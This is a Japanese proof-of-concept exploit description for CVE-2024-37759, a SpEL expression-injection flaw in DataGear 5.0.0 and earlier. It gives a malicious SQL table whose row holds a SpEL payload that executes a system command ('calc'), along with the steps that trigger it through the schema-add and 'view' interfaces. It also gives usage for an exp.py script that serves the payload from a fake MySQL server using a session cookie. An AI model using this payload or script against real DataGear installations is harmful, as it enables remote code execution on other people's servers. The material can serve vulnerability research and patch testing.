
CVE-2024-37759 の概念実証エクスプロイト。DataGear 5.0.0 以前の SpEL インジェクション脆弱性であり、巧妙に細工されたデータベーステーブルを介してリモートコード実行を可能にします。
DataGear バージョン 5.0.0 以前には、リモートコード実行につながる SpEL 式インジェクションの脆弱性があります。
/data/{schemaId}/{tableName}/view インターフェースにリクエストを送信すると、データベーステーブルに主キーがない場合、攻撃者は data フィールドに悪意のある SpEL 式を注入できます。「view」ボタンがクリックされると、SpEL 式が実行されます。
攻撃を実行するには、次のように悪意のあるデータベーステーブルを作成できます:
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
次に、ログインし、スキーマ追加インターフェース /schema/saveAdd でこの MySQL データベースを追加します。その後、「view」ボタンをクリックすると、SpEL 式が実行されます。
このエクスプロイトは MySQL_Fake_Server を改変したものです。まず、ポータルにログインして Cookie「JSESSIONID」を取得します。その後、このエクスプロイトを使用してコマンドを自動的に実行できます。
-t 引数は脆弱なターゲットサイトを指定し、-o は MySQL フェイクサーバーが到達可能なパブリック IP アドレスを指定し、-p はフェイクサーバーのポート、-s は「JSESSIONID」の Cookie 値、-c は実行したいコマンドを指定します。
python3.7 exp.py -t "http://localhost:50401" -o "192.168.25.130" -p "3306" -s "B751A41FBE8C3385B386B2365C2FB86D" -c "calc"